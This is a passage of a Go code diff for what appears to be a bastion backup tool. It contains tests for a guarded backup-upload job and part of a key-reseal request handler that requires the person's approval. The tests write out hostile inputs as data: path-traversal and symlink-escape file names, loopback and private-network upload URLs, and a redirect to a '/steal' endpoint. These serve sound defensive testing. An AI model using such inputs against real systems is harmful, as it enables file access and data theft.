@@ -0,0 +1,331 @@
package main
// Gate: backup_push sends exactly the named backup file, from this pairing's
// backup folder or a folder the person shared with it, to a signed upload
// URL, and nothing else anywhere else. Start answers at once; the digest is
// checked in the job, before anything is sent.
import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"io"
"net"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"regexp"
"strings"
"testing"
"time"
)
const fixtureData = fixtureStamp + ".tar.zst.age"
func pushFixture(t *testing.T, root string, body []byte) (string, string) {
t.Helper()
if err := os.WriteFile(filepath.Join(root, fixtureData), body, 0o600); err != nil {
t.Fatal(err)
}
sum := sha256.Sum256(body)
return "./" + fixtureData, hex.EncodeToString(sum[:])
}
func uploadServer(t *testing.T, status int) (*httptest.Server, *[]byte, *string) {
t.Helper()
var got []byte
var method string
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
method = r.Method
got, _ = io.ReadAll(r.Body)
w.WriteHeader(status)
}))
t.Cleanup(srv.Close)
old := http.DefaultTransport
http.DefaultTransport = srv.Client().Transport
t.Cleanup(func() { http.DefaultTransport = old })
return srv, &got, &method
}
func pushJob(root, sum string) *backupPushJob {
return &backupPushJob{ID: "p", SHA256: sum, State: "pending", root: root}
}
func TestBackupPushSendsExactlyTheNamedFile(t *testing.T) {
allowLoopbackFetch(t)
root := t.TempDir()
body := []byte(strings.Repeat("ciphertext of a backup ", 4000))
_, sum := pushFixture(t, root, body)
srv, got, method := uploadServer(t, 200)
job := pushJob(root, sum)
runBackupPush(job, srv.URL+"/signed-put", filepath.Join(root, fixtureData))
if job.State != "done" {
t.Fatalf("state=%s error=%s", job.State, job.Error)
}
if *method != http.MethodPut || string(*got) != string(body) {
t.Fatalf("the destination received %s of %d bytes, not the file", *method, len(*got))
}
}
func TestBackupPushFailsWhenTheDestinationRefuses(t *testing.T) {
allowLoopbackFetch(t)
root := t.TempDir()
_, sum := pushFixture(t, root, []byte("a backup"))
srv, _, _ := uploadServer(t, 403)
job := pushJob(root, sum)
runBackupPush(job, srv.URL+"/expired", filepath.Join(root, fixtureData))
if job.State != "failed" || !strings.Contains(job.Error, "403") {
t.Fatalf("a refused upload reads %s %q", job.State, job.Error)
}
}
// The digest is checked in the job before anything is sent.
func TestBackupPushSendsNothingWhenTheFileIsNotTheOneNamed(t *testing.T) {
allowLoopbackFetch(t)
root := t.TempDir()
_, sum := pushFixture(t, root, []byte("the backup that was named"))
_ = os.WriteFile(filepath.Join(root, fixtureData), []byte("the backup that is there"), 0o600)
srv, got, method := uploadServer(t, 200)
job := pushJob(root, sum)
runBackupPush(job, srv.URL+"/put", filepath.Join(root, fixtureData))
if job.State != "failed" || !strings.Contains(job.Error, "sha256 differs") {
t.Fatalf("a file that is not the named one: %s %q", job.State, job.Error)
}
if *method != "" || len(*got) != 0 {
t.Fatal("bytes were sent before the digest was checked")
}
}
// Bytes changed while they are being sent are caught by the hash taken as
// they go: the job fails rather than reporting the named backup sent.
func TestBackupPushFailsWhenTheFileChangesWhileSending(t *testing.T) {
allowLoopbackFetch(t)
root := t.TempDir()
body := make([]byte, 32<<20)
_, sum := pushFixture(t, root, body)
path := filepath.Join(root, fixtureData)
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
buf := make([]byte, 64<<10)
_, _ = io.ReadFull(r.Body, buf)
// The tail of the file changes in place while the upload is under way.
if f, err := os.OpenFile(path, os.O_WRONLY, 0); err == nil {
_, _ = f.WriteAt([]byte(strings.Repeat("X", 4096)), int64(len(body)-4096))
_ = f.Close()
}
_, _ = io.Copy(io.Discard, r.Body)
w.WriteHeader(200)
}))
t.Cleanup(srv.Close)
old := http.DefaultTransport
http.DefaultTransport = srv.Client().Transport
t.Cleanup(func() { http.DefaultTransport = old })
job := pushJob(root, sum)
runBackupPush(job, srv.URL+"/put", path)
if job.State != "failed" || !strings.Contains(job.Error, "changed while it was being sent") {
t.Fatalf("a file changed mid-send reads %s %q", job.State, job.Error)
}
}
func TestBackupPushNeverFollowsARedirect(t *testing.T) {
allowLoopbackFetch(t)
root := t.TempDir()
_, sum := pushFixture(t, root, []byte("a backup"))
var second bool
elsewhere := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
second = true
}))
t.Cleanup(elsewhere.Close)
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// 303 is the redirect an HTTP client follows even for an upload
// (as a GET); a client that follows redirects at all would go.
http.Redirect(w, r, elsewhere.URL+"/steal", http.StatusSeeOther)
}))
t.Cleanup(srv.Close)
old := http.DefaultTransport
http.DefaultTransport = srv.Client().Transport
t.Cleanup(func() { http.DefaultTransport = old })
job := pushJob(root, sum)
runBackupPush(job, srv.URL+"/put", filepath.Join(root, fixtureData))
if second {
t.Fatal("the backup followed a redirect to a place the host did not name")
}
if job.State != "failed" {
t.Fatalf("a redirect was reported as sent: %s", job.State)
}
}
// A job's error never quotes the signed URL's query.
func TestBackupPushErrorsCarryNoSignature(t *testing.T) {
root := t.TempDir()
_, sum := pushFixture(t, root, []byte("a backup"))
// The dial wall is left up: 127.0.0.1 is refused at connect, and the
// client's error quotes the URL.
job := pushJob(root, sum)
runBackupPush(job, "https://127.0.0.1:1/b/x?X-Amz-Signature=SECRETSIG&X-Amz-Credential=CRED", filepath.Join(root, fixtureData))
if job.State != "failed" {
t.Fatalf("state %s", job.State)
}
if strings.Contains(job.Error, "SECRETSIG") || strings.Contains(job.Error, "CRED") {
t.Fatalf("the job's error quotes the signature: %s", job.Error)
}
}
// stubPublicDNS answers every name with a public address, so start's URL
// check passes without the network; nothing is dialled in these tests.
func stubPublicDNS(t *testing.T) {
t.Helper()
prev := backupLookupIP
backupLookupIP = func(name string) ([]net.IP, error) {
if ip := net.ParseIP(name); ip != nil {
return []net.IP{ip}, nil
}
return []net.IP{net.ParseIP("203.0.113.9")}, nil
}
t.Cleanup(func() { backupLookupIP = prev })
}
func awaitPush(t *testing.T, root, id string) map[string]string {
t.Helper()
deadline := time.Now().Add(10 * time.Second)
for time.Now().Before(deadline) {
out, _, _ := driveBackupOp(t, "backup_push", "", root, backupPushReq{Op: "status", JobID: id})
var st map[string]string
_ = json.Unmarshal([]byte(out), &st)
if st["state"] != "pending" {
return st
}
time.Sleep(20 * time.Millisecond)
}
t.Fatal("push never left pending")
return nil
}
// Start answers at once without reading the file: a wrong digest is not a
// refusal at start but the job's failure, and the job is this pairing's own.
func TestBackupPushStartAnswersAtOnceAndStatusIsPerPairing(t *testing.T) {
stubPublicDNS(t)
root := t.TempDir()
rel, _ := pushFixture(t, root, []byte("a backup"))
out, errOut, code := driveBackupOp(t, "backup_push", "", root,
backupPushReq{Op: "start", Path: rel, URL: "https://storage.example/put?sig=1", SHA256: strings.Repeat("ab", 32), Headers: signedPut})
if code != 0 {
t.Fatalf("start refused: %s", errOut)
}
var started map[string]string
if json.Unmarshal([]byte(out), &started) != nil || started["state"] != "pending" || !strings.HasPrefix(started["job_id"], "bp-") {
t.Fatalf("start reply: %s", out)
}
if !regexp.MustCompile(`^bp-[0-9a-f]{24}$`).MatchString(started["job_id"]) {
t.Fatalf("job id %q is short enough to guess", started["job_id"])
}
st := awaitPush(t, root, started["job_id"])
if st["state"] != "failed" || !strings.Contains(st["error"], "sha256 differs") || st["job_id"] != started["job_id"] {
t.Fatalf("the job: %v", st)
}
other, _, _ := driveBackupOp(t, "backup_push", "", t.TempDir(), backupPushReq{Op: "status", JobID: started["job_id"]})
var o map[string]string
if json.Unmarshal([]byte(other), &o) != nil || o["state"] != "unknown" || o["error"] != "" {
t.Fatalf("another pairing read this job: %s", other)
}
}
// Through the real frame path: each refusal happens at start, before any job.
func TestBackupPushStartRefuses(t *testing.T) {
stubPublicDNS(t)
root := t.TempDir()
rel, sum := pushFixture(t, root, []byte("a backup"))
outsideDir := t.TempDir()
outside := filepath.Join(outsideDir, "20260101T000000Z.tar.zst.age")
_ = os.WriteFile(outside, []byte("not this host's"), 0o600)
_ = os.Symlink(outside, filepath.Join(root, "20260101T000000Z.tar.zst.age"))
_ = os.Symlink(filepath.Join(root, fixtureData), filepath.Join(root, "20260102T000000Z.tar.zst.age"))
_ = os.WriteFile(filepath.Join(root, "notes.txt"), []byte("mine"), 0o600)
_ = os.MkdirAll(filepath.Join(root, "sub"), 0o700)
_ = os.WriteFile(filepath.Join(root, "sub", fixtureData), []byte("a backup"), 0o600)
_ = os.Symlink(outsideDir, filepath.Join(root, "linkdir"))
type want struct {
req backupPushReq
why string
}
u := "https://storage.example/x"
cases := map[string]want{
"parent escape": {backupPushReq{Op: "start", Path: "../x/" + fixtureData, URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
"absolute path": {backupPushReq{Op: "start", Path: outside, URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
"not a backup name": {backupPushReq{Op: "start", Path: "notes.txt", URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
"a subfolder": {backupPushReq{Op: "start", Path: "sub/" + fixtureData, URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
"through a linked dir": {backupPushReq{Op: "start", Path: "linkdir/20260101T000000Z.tar.zst.age", URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
"link out of the root": {backupPushReq{Op: "start", Path: "20260101T000000Z.tar.zst.age", URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
"link inside the root": {backupPushReq{Op: "start", Path: "20260102T000000Z.tar.zst.age", URL: u, SHA256: sum, Headers: signedPut}, "no backup file"},
"missing file": {backupPushReq{Op: "start", Path: "20260103T000000Z.tar.zst.age", URL: u, SHA256: sum, Headers: signedPut}, "no backup file"},
"a folder not shared": {backupPushReq{Op: "start", Path: "shared/other/" + fixtureData, URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
"dot segments": {backupPushReq{Op: "start", Path: "./x/../" + fixtureData, URL: u, SHA256: sum, Headers: signedPut}, "path rejected"},
"bad digest": {backupPushReq{Op: "start", Path: rel, URL: u, SHA256: "abc", Headers: signedPut}, "64 hex"},
"plain http": {backupPushReq{Op: "start", Path: rel, URL: "http://storage.example/x", SHA256: sum, Headers: signedPut}, "must be https"},
"this machine": {backupPushReq{Op: "start", Path: rel, URL: "https://127.0.0.1/x", SHA256: sum, Headers: signedPut}, "on this machine"},
"private network": {backupPushReq{Op: "start", Path: rel, URL: "https://10.1.2.3/x", SHA256: sum, Headers: signedPut}, "on this machine"},
"unparseable signature": {backupPushReq{Op: "start", Path: rel, URL: "https://a%zz/x?X-Amz-Signature=SECRETSIG", SHA256: sum, Headers: signedPut}, "backup_push:"},
}
for name, c := range cases {
out, errOut, code := driveBackupOp(t, "backup_push", "", root, c.req)
if code == 0 {
t.Errorf("%s: started (%s)", name, out)
} else if !strings.Contains(errOut, "backup_push:") || !strings.Contains(errOut, c.why) {
t.Errorf("%s: refused for the wrong reason: %s", name, errOut)
}
if strings.Contains(errOut, "SECRETSIG") {
t.Errorf("%s: the refusal quotes the signature: %s", name, errOut)
}
}
}
// A folder the person shared with this pairing can be sent from; the same
// path from a pairing it was not shared with is refused.
func TestBackupPushFromASharedFolder(t *testing.T) {
allowLoopbackFetch(t)
const newHost = "new.host.privatae.ai"
lost := t.TempDir()
body := []byte("the lost host's backup")
_, sum := pushFixture(t, lost, body)
root := t.TempDir()
s, err := addBackupShare(newHost, root, lost, "old-host.example")
if err != nil {
t.Fatal(err)
}
p := "shared/" + s.Slug + "/" + fixtureData
abs, why := backupResolveFile(newHost, root, p)
if why != "" || abs != filepath.Join(lost, fixtureData) {
t.Fatalf("the shared file does not resolve: %q %q", abs, why)
}
other := t.TempDir()
if _, err := addBackupShare(newHost, root, other, "another"); err != nil {
t.Fatal(err)
}
if _, why := backupResolveFile(newHost, root, "shared/another/"+fixtureData); why == "" {
t.Fatal("a file named under one shared folder resolved from another")
}
if _, why := backupResolveFile(newHost, root, "shared/nope/"+fixtureData); why == "" {
t.Fatal("a folder that is not shared resolved")
}
for _, who := range []string{"other.host.privatae.ai", ""} {
if _, why := backupResolveFile(who, root, p); why == "" {
t.Fatalf("pairing %q, which the folder was not shared with, resolved it", who)
}
}
srv, got, _ := uploadServer(t, 200)
job := pushJob(root, sum)
runBackupPush(job, srv.URL+"/put", abs)
if job.State != "done" || string(*got) != string(body) {
t.Fatalf("%s %s", job.State, job.Error)
}
if err := dropBackupShare(newHost, s.Slug); err != nil {
t.Fatal(err)
}
if _, why := backupResolveFile(newHost, root, p); why == "" {
t.Fatal("a folder taken back still resolves")
}
}
// signedPut is what the platform's backup.put_url hands over with every
// upload address, and so what every start in these tests carries.
var signedPut = map[string]string{"If-None-Match": "*"}
+231
View File
@@ -0,0 +1,231 @@
package main
// Gate: pushes and the background hashing keep their reads of backup folders
// in one record. A push is not started in a folder whose hashing read has not
// returned, the hashing does not read a folder whose push read has not
// returned, and the reads of both count toward the one cap.
import (
"os"
"path/filepath"
"strings"
"sync"
"testing"
"time"
)
// heldHashes makes the hashing job's read of any file in dirs block until
// release, and counts the reads it starts in each folder.
type heldHashes struct {
mu sync.Mutex
reads map[string]int
gate chan struct{}
once sync.Once
}
func holdHashes(t *testing.T, dirs ...string) *heldHashes {
t.Helper()
h := &heldHashes{reads: map[string]int{}, gate: make(chan struct{})}
dead := map[string]bool{}
for _, d := range dirs {
dead[d] = true
}
hashMu.Lock()
prevBound := hashJobTimeout
hashJobTimeout = 200 * time.Millisecond
hashMu.Unlock()
quiet := opMaskLog
opMaskLog = func(string, ...any) {}
prev := hashFileFn
hashFileFn = func(p string) (string, int64, error) {
d := filepath.Dir(p)
h.mu.Lock()
h.reads[d]++
h.mu.Unlock()
if dead[d] {
<-h.gate
}
return hashFile(p)
}
t.Cleanup(func() {
h.release()
readsIdle(t)
eventually(t, "the hashing job ends", func() bool {
hashMu.Lock()
defer hashMu.Unlock()
return !hashRunning
})
hashFileFn = prev
opMaskLog = quiet
hashMu.Lock()
hashJobTimeout = prevBound
hashMu.Unlock()
})
return h
}
func (h *heldHashes) release() { h.once.Do(func() { close(h.gate) }) }
func (h *heldHashes) readsIn(dir string) int {
h.mu.Lock()
defer h.mu.Unlock()
return h.reads[dir]
}
// readsIdle waits until no read of a backup folder is in flight.
func readsIdle(t *testing.T) {
t.Helper()
eventually(t, "every read of a backup folder returned", func() bool {
backupReadMu.Lock()
defer backupReadMu.Unlock()
return len(backupReads) == 0
})
}
// stuckPast waits until dir has a read in flight past its bound.
func stuckPast(t *testing.T, dir string) {
t.Helper()
eventually(t, "a read of "+dir+" is past its bound", func() bool {
_, stuck := folderStuck(dir, time.Now(), pushStallBound(), hashBound())
return stuck
})
}
func TestAPushIsNotStartedInAFolderWhoseHashingReadIsStuck(t *testing.T) {
stubPublicDNS(t)
shortPushStall(t)
readsIdle(t)
root := t.TempDir()
rel, sum := pushFixture(t, root, []byte(strings.Repeat("a backup ", 1000)))
abs := filepath.Join(root, fixtureData)
h := holdHashes(t, root)
s := newStuckReads(t, root)
requestHash(abs)
eventually(t, "the hashing job reads the file", func() bool { return h.readsIn(root) == 1 })
stuckPast(t, root)
for i := 0; i < 5; i++ {
_, errOut, code := startPush(t, root, rel, sum)
if code == 0 || !strings.Contains(errOut,
"backup_push: the folder of "+rel+" has not answered the reading of a backup for its digest") {
t.Fatalf("start %d in a folder whose hashing read is stuck: %d %s", i, code, errOut)
}
}
time.Sleep(100 * time.Millisecond)
if n := s.blocked.Load(); n != 0 {
t.Fatalf("%d push reads started in a folder whose hashing read is stuck", n)
}
// When the hashing read returns, its digest is kept and a push starts.
s.release()
h.release()
readsIdle(t)
awaitHash(t, abs, sum, "the stuck hashing read's digest was not kept when it returned")
id := pushStarted(t, root, rel, strings.Repeat("ab", 32))
if st := awaitPush(t, root, id); st["state"] != "failed" || !strings.Contains(st["error"], "sha256 differs") {
t.Fatalf("a push once the hashing read returned: %v", st)
}
}
func TestTheHashingDoesNotReadAFolderWhosePushReadIsStuck(t *testing.T) {
stubPublicDNS(t)
shortPushStall(t)
readsIdle(t)
dead, live := t.TempDir(), t.TempDir()
rel, sum := pushFixture(t, dead, []byte(strings.Repeat("a backup ", 1000)))
other := filepath.Join(dead, "20260101T000000Z.tar.zst.age")
liveFile := filepath.Join(live, fixtureData)
for p, b := range map[string]string{other: "another backup", liveFile: "answers"} {
if err := os.WriteFile(p, []byte(b), 0o600); err != nil {
t.Fatal(err)
}
}
h := holdHashes(t)
s := newStuckReads(t, dead)
mustFailStuck(t, dead, pushStarted(t, dead, rel, sum))
stuckPast(t, dead)
// Asked for a digest in the dead folder, the hashing reads nothing there;
// a folder that answers is hashed as usual.
requestHash(other)
requestHash(liveFile)
awaitHash(t, liveFile, sha([]byte("answers")), "the hashing job did not read a folder that answers")
time.Sleep(300 * time.Millisecond)
if n := h.readsIn(dead); n != 0 {
t.Fatalf("the hashing read the folder whose push read is stuck %d times", n)
}
if n := s.blocked.Load(); n != 1 {
t.Fatalf("%d reads are blocked on the dead folder; want the push's 1", n)
}
// When the push read returns, the folder is hashed again.
s.release()
readsIdle(t)
requestHash(other)
awaitHash(t, other, sha([]byte("another backup")), "the folder was not hashed once its push read returned")
}
func TestStuckHashingAndPushReadsShareTheCap(t *testing.T) {
stubPublicDNS(t)
shortPushStall(t)
readsIdle(t)
capReads(t, 2)
hashDead, pushDead, live := t.TempDir(), t.TempDir(), t.TempDir()
body := []byte(strings.Repeat("a backup ", 1000))
rel, sum := pushFixture(t, hashDead, body)
pushFixture(t, pushDead, body)
pushFixture(t, live, body)
liveOther := filepath.Join(live, "20260101T000000Z.tar.zst.age")
if err := os.WriteFile(liveOther, []byte("answers"), 0o600); err != nil {
t.Fatal(err)
}
h := holdHashes(t, hashDead)
s := newStuckReads(t, pushDead)
// One folder's hashing read and another's push read stick: two reads,
// the cap.
requestHash(filepath.Join(hashDead, fixtureData))
eventually(t, "the hashing job reads the dead folder", func() bool { return h.readsIn(hashDead) == 1 })
mustFailStuck(t, pushDead, pushStarted(t, pushDead, rel, sum))
stuckPast(t, hashDead)
stuckPast(t, pushDead)
// A folder that answers gets neither a push nor a hashing read.
for i := 0; i < 3; i++ {
_, errOut, code := startPush(t, live, rel, sum)
if code == 0 || !strings.Contains(errOut, "backup_push: 2 reads of backup folders have not returned") ||
!strings.Contains(errOut, "no push starts on this machine until one does") {
t.Fatalf("start %d with the cap held by a hashing read and a push read: %d %s", i, code, errOut)
}
}
requestHash(liveOther)
time.Sleep(300 * time.Millisecond)
if n := h.readsIn(live); n != 0 {
t.Fatalf("the hashing read a folder %d times with the cap held", n)
}
if n, m := s.blocked.Load(), h.readsIn(hashDead); n != 1 || m != 1 {
t.Fatalf("%d push reads and %d hashing reads were started on the dead folders; want 1 and 1", n, m)
}
backupReadMu.Lock()
inFlight := readsInFlightLocked()
backupReadMu.Unlock()
if inFlight != 2 {
t.Fatalf("%d reads are in flight; the cap is 2", inFlight)
}
// Once one returns, the folder that answers is served.
s.release()
eventually(t, "the push read frees its slot", func() bool {
backupReadMu.Lock()
defer backupReadMu.Unlock()
return readsInFlightLocked() == 1
})
requestHash(liveOther)
awaitHash(t, liveOther, sha([]byte("answers")), "the hashing did not read a folder that answers once under the cap")
id := pushStarted(t, live, rel, strings.Repeat("ab", 32))
if st := awaitPush(t, live, id); st["state"] != "failed" || !strings.Contains(st["error"], "sha256 differs") {
t.Fatalf("a push once under the cap: %v", st)
}
}
+676
View File
@@ -0,0 +1,676 @@
package main
// backupreseal.go — a host asks this machine to reseal one backup's key to
// it, and the person decides here.
//
// The host restoring a backup needs that backup's own key and nothing more.
// It sends the sealed sidecar and its own public key (backup_reseal start).
// This machine files the request and answers only "pending": nothing is
// opened yet. The person sees the request here (`privatae-bastion backup
// requests`), in this machine's words — which backup, which host, which key
// it would be sealed to — and approves it (`backup approve <id>`). Approving
// runs on this machine as the person, with the backup key held here: the
// sidecar is opened, checked to be the backup it claims, and the same record
// is sealed to the host's key alone. The host collects it (backup_reseal
// status). Refusing leaves the host nothing.
//
// Why a request queue of its own and not the generic per-run approval
// (writes.go): that approval gates CHANGES to this machine on an anchored box
// and passes everything on a local one. A reseal changes nothing here, but it
// hands a host the key to one backup, and that is the person's decision on
// every box. And the act needs this bastion's backup key, which only the
// person's own session here can read. So the approval and the act are the same step, taken
// here. When this pairing has a second factor enrolled, approving also asks
// for its code, as `approve` does.
//
// WHOSE BACKUP. A request is bound to the pairing it came in on, and to the
// host number that pairing was given at pairing: the host's tunnel address,
// fd00:9::e:<number>, which the platform derives from the host's own entity
// and which this machine stored at `pair`.
// Nothing the host sends can change it. Every host that shares this
// bastion's key holds sidecars of every other such host's backups (a shared
// folder, the platform), so a label or a stamp is no proof of whose backup a
// sidecar is: the host number inside it is, once opened here. A sidecar of
// another host's backup is REFUSED, not shown for the person to catch: host A,
// taken over and calling itself B, never gets B's backup key sealed to A.
// Restoring a lost host's backups onto the one that replaces it (a different
// number) is the person's own act at this machine, `backup restore-plan`
// (backupcli.go), not a request a host can file.
import (
"bufio"
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
"net/netip"
"os"
"path/filepath"
"sort"
"strings"
"sync"
"time"
"unicode"
"unicode/utf8"
"filippo.io/age"
"github.com/gorilla/websocket"
)
const (
resealRequestTTL = 24 * time.Hour
// A host files requests into this machine's state; these bound how much
// it can file. A restore needs one request per backup it restores, and
// the person answers them. They bound the requests WAITING for an
// answer: answering one (approve or deny) frees its room at once, as a
// request that lapses (a day) does.
resealMaxRequests = 16
resealMaxBytes = 512 << 10
resealLabelMax = 120
// An answered request is kept, without the sidecar it came with, so the
// host can read the outcome (and a resealed key) until it lapses. Only
// the person's answers make them, and at most this many are kept, the
// oldest answered going first.
resealMaxAnswered = 64
)
type resealRequest struct {
ID string `json:"id"`
Stamp string `json:"stamp"`
// Pairing and HostNumber are this machine's record of who sent it, taken
// from the pairing the request came in on; HostLabel is the host's words.
Pairing string `json:"pairing"`
HostNumber int64 `json:"host_number"`
HostLabel string `json:"host_label"`
To string `json:"to"` // age1 recipient of the restoring host
ToFP string `json:"to_fp"` // its fingerprint, shown to the person
Sidecar string `json:"sidecar"` // armored, as the host sent it
SidecarSH string `json:"sidecar_sha256"`
At string `json:"at"`
State string `json:"state"` // pending | done | refused | failed
Resealed string `json:"resealed,omitempty"`
Error string `json:"error,omitempty"`
DecidedAt string `json:"decided_at,omitempty"`
}
type resealReq struct {
Op string `json:"op"` // start | status
JobID string `json:"job_id"`
Sidecar string `json:"sidecar"`
To string `json:"to"`
Stamp string `json:"stamp"`
HostLabel string `json:"host_label"`
}
var resealMu sync.Mutex
// resealWho is a pairing as this machine knows it: its name and the host
// number it was paired with.
type resealWho struct {
Name string
Number int64
}
// hostNumberOf reads the host number out of a pairing's tunnel address,
// fd00:9::e:<number in hex>, as the platform assigns it.
// false for any other address: such a pairing cannot be matched to a
// backup's host number, and its requests are refused.
func hostNumberOf(tunnelIP string) (int64, bool) {
a, err := netip.ParseAddr(tunnelIP)
if err != nil || !a.Is6() || a.Is4In6() || a.Zone() != "" {
return 0, false
}
b := a.As16()
prefix := [14]byte{0xfd, 0x00, 0x00, 0x09, 0, 0, 0, 0, 0, 0, 0, 0, 0x00, 0x0e}
if [14]byte(b[:14]) != prefix {
return 0, false
}
n := int64(b[14])<<8 | int64(b[15])
return n, n > 0
}
// resealPairing is the pairing self as this machine has it on disk. An
// anonymous caller, a pairing that is not here, not active, or has no host
// number is refused: a request must be bound to a host.
func resealPairing(self string) (resealWho, error) {
if self == "" {
return resealWho{}, errors.New("a restore request is taken only from a paired host")
}
cfgs, err := loadPairings()
if err != nil {
return resealWho{}, fmt.Errorf("the pairings on this machine are unreadable: %w", err)
}
for _, c := range cfgs {
if c.HostName == self {
return resealWhoOf(c)
}
}
return resealWho{}, fmt.Errorf("%s is not paired with this machine", self)
}
func resealWhoOf(c *Config) (resealWho, error) {
if !c.active() {
return resealWho{}, fmt.Errorf("the pairing %s is %s", c.HostName, c.stateName())
}
n, ok := hostNumberOf(c.HostTunnelIP)
if !ok {
return resealWho{}, fmt.Errorf("the pairing %s has no host number (its tunnel address is %q), so no backup "+
"can be matched to it; pair it again", c.HostName, c.HostTunnelIP)
}
return resealWho{Name: c.HostName, Number: n}, nil
}
// resealBindingProblem is a refusal when the request was not filed by the
// pairing who, or the backup the sidecar holds is not that host's own.
func resealBindingProblem(r *resealRequest, sc *backupSidecar, who resealWho) string {
if r.Pairing != who.Name || r.HostNumber != who.Number || who.Number <= 0 {
return fmt.Sprintf("refused: this request was filed by the pairing %q (host number %d), not by %s "+
"(host number %d)", r.Pairing, r.HostNumber, who.Name, who.Number)
}
if sc != nil && sc.EntityID != who.Number {
return fmt.Sprintf("refused: this is the backup of host number %d, and the request came from %s, which is "+
"host number %d. A host is given only its own backups' keys. To restore another host's backup onto "+
"this one, run `privatae-bastion backup restore-plan` here yourself", sc.EntityID, who.Name, who.Number)
}
return ""
}
func resealPath(dir string) string { return filepath.Join(dir, "backup_reseal.json") }
// withResealLock runs fn holding the pairing's request file for itself. Two
// processes write that file: the daemon files requests, and `backup approve`
// and `deny` decide them in the person's own process. resealMu covers the
// goroutines of one process; the lock file (flock, LockFileEx on Windows)
// covers both processes, so a request filed while the person decides is not
// dropped, and a decision is not reverted by a stale copy. Every write is
// atomic (atomicWrite: temp file, then rename), so a reader never sees half
// a file.
func withResealLock(dir string, fn func() error) error {
resealMu.Lock()
defer resealMu.Unlock()
lf, err := os.OpenFile(filepath.Join(dir, "backup_reseal.lock"), os.O_CREATE|os.O_RDWR, 0o600)
if err != nil {
return err
}
defer lf.Close() // closing releases the lock
if err := flockFile(lf); err != nil {
return err
}
return fn()
}
// resealAsideSuffix names a request file set aside as unreadable.
const resealAsideSuffix = ".unreadable-"
// resealLoad reads the pairing's requests, less those that lapsed; the
// caller holds withResealLock. A file that cannot be parsed is not dropped
// and not overwritten: it is set aside beside it, under a name that says so,
// and the error says where. The next request starts a new file.
func resealLoad(dir string) (map[string]*resealRequest, error) {
m := map[string]*resealRequest{}
p := resealPath(dir)
raw, err := os.ReadFile(p)
if errors.Is(err, os.ErrNotExist) {
return m, nil
}
if err != nil {
return nil, fmt.Errorf("the record of restore requests cannot be read: %w", err)
}
if err := json.Unmarshal(raw, &m); err != nil {
aside := p + resealAsideSuffix + time.Now().UTC().Format("20060102T150405.000000000Z")
if rerr := os.Rename(p, aside); rerr != nil {
return nil, fmt.Errorf("the record of restore requests %s is unreadable (%v) and could not be set aside (%v); "+
"nothing was changed", p, err, rerr)
}
return nil, fmt.Errorf("the record of restore requests was unreadable (%v). It is kept as %s and a new "+
"one is started: the requests in it must be asked again", err, aside)
}
if m == nil {
m = map[string]*resealRequest{}
}
now := time.Now()
for id, r := range m {
if r == nil {
delete(m, id)
continue
}
at, err := time.Parse(time.RFC3339, r.At)
if err != nil || now.Sub(at) > resealRequestTTL {
delete(m, id)
}
}
return m, nil
}
// resealRead is resealLoad under the lock, for a caller that only reads.
func resealRead(dir string) (map[string]*resealRequest, error) {
var m map[string]*resealRequest
err := withResealLock(dir, func() error {
var err error
m, err = resealLoad(dir)
return err
})
return m, err
}
// resealSave writes the requests: an answered one no longer carries the
// sidecar it came with, and past resealMaxAnswered answered ones the oldest
// answered are dropped.
func resealSave(dir string, m map[string]*resealRequest) error {
var answered []*resealRequest
for _, r := range m {
if r.State != "pending" {
r.Sidecar = ""
answered = append(answered, r)
}
}
if len(answered) > resealMaxAnswered {
sort.Slice(answered, func(i, j int) bool { return answered[i].DecidedAt < answered[j].DecidedAt })
for _, r := range answered[:len(answered)-resealMaxAnswered] {
delete(m, r.ID)
}
}
raw, err := json.MarshalIndent(m, "", " ")
if err != nil {
return err
}
return atomicWrite(resealPath(dir), raw)
}
// handleBackupReseal answers backup_reseal start and status on the pairing's
// own state directory, so one host never sees another's requests.
func handleBackupReseal(ws *websocket.Conn, dir string, args []string) {
if len(args) < 1 {
backupFail(ws, "backup_reseal: need a JSON argument")
return
}
var req resealReq
if err := json.Unmarshal([]byte(args[0]), &req); err != nil {
backupFail(ws, "backup_reseal: argument is not JSON: "+err.Error())
return
}
switch req.Op {
case "status":
m, err := resealRead(dir)
if err != nil {
backupFail(ws, "backup_reseal: "+err.Error())
return
}
r, ok := m[req.JobID]
if !ok {
backupOK(ws, map[string]string{"job_id": req.JobID, "state": "unknown"})
return
}
out := map[string]string{"job_id": r.ID, "state": r.State}
if r.State == "done" {
out["sidecar"] = r.Resealed
}
if r.Error != "" {
out["error"] = r.Error
}
backupOK(ws, out)
case "start", "":
who, err := resealPairing(mgmtSelf(ws))
if err != nil {
backupFail(ws, "backup_reseal: "+err.Error())
return
}
r, err := resealFile(dir, who, req)
if err != nil {
backupFail(ws, "backup_reseal: "+err.Error())
return
}
backupOK(ws, map[string]string{"job_id": r.ID, "state": r.State})
default:
backupFail(ws, "backup_reseal: unknown op "+req.Op)
}
}
// resealFile validates and files a request. The same sidecar for the same
// key while one is still open returns that one: a host that lost the reply
// asks again and must not fill the person's list with copies. who is the
// pairing the request came in on, recorded with it.
func resealFile(dir string, who resealWho, req resealReq) (*resealRequest, error) {
if who.Name == "" || who.Number <= 0 {
return nil, errors.New("a restore request is taken only from a paired host with a host number")
}
if len(req.Sidecar) == 0 || len(req.Sidecar) > sidecarMaxBytes {
return nil, errors.New("sidecar is missing or too large")
}
if !strings.Contains(req.Sidecar, "-----BEGIN AGE ENCRYPTED FILE-----") {
return nil, errors.New("sidecar must be an armored age file")
}
if !backupStampRe.MatchString(req.Stamp) {
return nil, errors.New("stamp must name a backup (YYYYMMDDTHHMMSSZ)")
}
to, err := parseBackupRecipient(req.To)
if err != nil {
return nil, err
}
raw, err := recipientRaw(to)
